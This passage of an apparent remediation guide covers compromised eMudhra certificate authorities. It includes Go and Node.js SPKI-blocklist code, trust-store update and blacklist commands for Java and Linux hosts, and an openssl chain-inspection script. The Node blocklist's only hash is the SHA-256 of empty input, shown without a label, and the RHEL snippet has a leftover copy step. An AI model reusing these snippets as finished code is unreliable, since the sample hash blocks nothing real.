24		// Keep InsecureSkipVerify false so Go validates roots, expiration, and hostnames.
25		InsecureSkipVerify: false,
26		VerifyConnection: func(cs tls.ConnectionState) error {
27			for _, chain := range cs.VerifiedChains {
28				for _, cert := range chain {
29					spkiHash := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
30					spkiHex := hex.EncodeToString(spkiHash[:])
31
32					if caName, blocked := BlockedSPKIHex[spkiHex]; blocked {
33						return fmt.Errorf("tls: peer presented compromised intermediate key (%s, SPKI: %s)", caName, spkiHex)
34					}
35				}
36			}
37			return nil
38		},
39	}
40}
41
42func main() {
43	client := &http.Client{
44		Transport: &http.Transport{
45			TLSClientConfig: BuildHardenedTLSConfig(),
46		},
47		Timeout: 10 * time.Second,
48	}
49
50	resp, err := client.Get("https://<cert-example-subdomain>.emudhra.we-have-a-problem.com/")
51	if err != nil {
52		fmt.Printf("Connection blocked as expected: %v\n", err)
53		return
54	}
55	defer resp.Body.Close()
56	fmt.Printf("Response: %s\n", resp.Status)
57}

2. Node.js Runtimes

Node.js bundles its own copy of the Mozilla root certificates instead of reading from the host OS trust store by default.

  1. Upgrade Node.js: Update your runtime to the latest LTS releases (Node 20.x or 22.x) where the bundled certificate store and OpenSSL dependencies have been updated.
  2. If using system roots: If you run Node with --use-openssl-ca, ensure your underlying Linux host certificate store is updated.
  3. Audit outgoing TLS connections: For high-security internal services, inspect peer certificates using the checkServerIdentity callback in tls.connect or https.request.

When implementing a custom checkServerIdentity hook, always call tls.checkServerIdentity(host, cert) first to preserve hostname validation. Because checkServerIdentity receives the leaf certificate, you must traverse cert.issuerCertificate to inspect all intermediate CAs in the chain:

javascript
 1import https from 'node:https';
 2import tls from 'node:tls';
 3import crypto from 'node:crypto';
 4
 5const BLOCKED_SPKI_HASHES = new Set([
 6  'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
 7]);
 8
 9function getSPKIHash(rawDer) {
10  const x509 = new crypto.X509Certificate(rawDer);
11  const spkiDer = x509.publicKey.export({ type: 'spki', format: 'der' });
12  return crypto.createHash('sha256').update(spkiDer).digest('hex');
13}
14
15function checkServerIdentityWithBlocklist(host, cert) {
16  // 1. Maintain standard hostname verification
17  const defaultErr = tls.checkServerIdentity(host, cert);
18  if (defaultErr) {
19    return defaultErr;
20  }
21
22  // 2. Walk the chain to verify leaf and intermediate certificates
23  let current = cert;
24  const visited = new Set();
25
26  while (current && current.raw && !visited.has(current.fingerprint256)) {
27    visited.add(current.fingerprint256);
28    const hash = getSPKIHash(current.raw);
29    if (BLOCKED_SPKI_HASHES.has(hash)) {
30      return new Error(`tls: connection aborted; presented compromised intermediate key (SPKI: ${hash})`);
31    }
32    current = current.issuerCertificate;
33  }
34
35  return undefined;
36}

3. Python Ecosystem

Python’s urllib3 and requests packages rely on certifi, which bundles Mozilla’s root CA store:

bash
1# Upgrade certifi across all virtual environments
2pip install --upgrade certifi
3
4# Check installed version and path
5python -c "import certifi; print(certifi.where())"

If your Python applications communicate with endpoints that might still be serving certificates issued under the compromised intermediates, update your container images to pick up the latest certifi releases.

4. Java / JVM Ecosystem

Java uses a central trust store file called cacerts, located in $JAVA_HOME/lib/security/cacerts.

  1. Apply CPU Updates: Install the latest quarterly Critical Patch Update (CPU) for your JDK/JRE (OpenJDK 17, 21, etc.).
  2. Remove the emSign Root (Aggressive Mitigation): If your application does not need to trust any valid eMudhra certificates, delete the root trust anchor directly from the Java trust store:
bash
1# List eMudhra certificates in Java cacerts
2keytool -list -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit | grep -i "emsign"
3
4# Delete the root alias if present
5sudo keytool -delete \
6  -alias "emsignroottlscag3" \
7  -keystore $JAVA_HOME/lib/security/cacerts \
8  -storepass changeit

5. Linux Host Stores and Container Base Images

Because Linux systems read trusted roots from system bundles, you must either upgrade ca-certificates or explicitly blacklist the parent root anchor.

Blacklist the Root on Debian and Ubuntu Hosts

bash
1# Add emSign root to ca-certificates blacklist
2echo "!mozilla/emSign_Root_TLS_CA_-_G3.crt" | sudo tee -a /etc/ca-certificates.conf
3sudo update-ca-certificates --fresh

Blacklist the Root on RHEL, Rocky, and Fedora Hosts

bash
1# Copy root certificate into the local trust blacklist directory
2sudo cp /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem /tmp/bundle.pem
3# Once the certificate file is isolated:
4sudo cp /path/to/emsign-root.crt /etc/pki/ca-trust/source/blacklist/
5sudo update-ca-trust

Rebuilding Container Base Images

Because Linux containers often run stripped-down distributions (Debian slim, Alpine), base images must be updated and rebuilt:

dockerfile
 1# For Debian / Ubuntu base images
 2RUN apt-get update && \
 3    apt-get install -y --no-install-recommends ca-certificates && \
 4    update-ca-certificates && \
 5    rm -rf /var/lib/apt/lists/*
 6
 7# For Alpine Linux base images
 8RUN apk update && \
 9    apk add --no-cache ca-certificates && \
10    update-ca-certificates

6. Testing Endpoints with OpenSSL and the Community Test Suite

Security researchers set up https://emudhra.we-have-a-problem.com/ as a live validation target. It serves a certificate chain anchored by one of the compromised intermediates. You can test your CLI tools, container environments, and services against this endpoint to verify whether your client rejects the chain.

You can inspect any remote endpoint’s certificate chain and extract intermediate SPKI hashes with standard openssl:

bash
 1# Connect to a target server and dump all certificates in the chain
 2openssl s_client -showcerts -servername emudhra.we-have-a-problem.com -connect emudhra.we-have-a-problem.com:443 </dev/null 2>/dev/null > /tmp/chain.pem
 3
 4# Parse each certificate and extract its Subject and public key hash
 5rm -f /tmp/single_cert.pem
 6awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{ print }' /tmp/chain.pem | while read -r line; do
 7    echo "$line" >> /tmp/single_cert.pem
 8    if [ "$line" = "-----END CERTIFICATE-----" ]; then
 9        echo "=== Certificate Subject ==="
10        openssl x509 -in /tmp/single_cert.pem -noout -subject -issuer
11        echo "=== SPKI SHA-256 Hash ==="
12        openssl x509 -in /tmp/single_cert.pem -noout -pubkey | \
13            openssl pkey -pubin -outform DER | \
14            openssl dgst -sha256
15        rm -f /tmp/single_cert.pem
16        echo ""
17    fi
18done

If the SPKI hash output matches one of the compromised intermediate hashes, that endpoint is presenting an unsafe chain.

Remediation for eMudhra Certificate Holders

Organizations running active certificates issued by eMudhra or emSign require direct remediation:

  1. Audit All Active Certificates: Search public Certificate Transparency logs for your domain names issued by eMudhra. Use the following crt.sh (alternatives if crt.sh is down) query in your browser or terminal:
    text
    1https://crt.sh/?q=%25.yourdomain.com&iCAID=emSign
  2. Identify the Issuing Sub-CA: Check the Issuer field of your active certificates. If your leaf certificates show an issuer matching any of the eight compromised intermediates (such as EM DV TLS CA - G3B or EM OV TLS CA - G3C), your certificates are actively being blocked by updated browsers and Go runtimes.
  3. Emergency Re-issuance and Migration: Because eMudhra is winding down its public SSL/TLS certificate business, certificate re-issuance under eMudhra is not a viable option. Migrate your certificate infrastructure to an alternate public CA (such as Let’s Encrypt, GlobalSign, Google Trust Services, DigiCert, or Sectigo) and deploy fresh chains across load balancers and CDNs.
  4. Code Signing Audit: If your pipeline signs Windows binaries using EM OV CS CA - G3B or G3C, obtain a replacement certificate, rebuild release artifacts, and re-sign binaries with an authoritative RFC 3161 timestamp.

Sources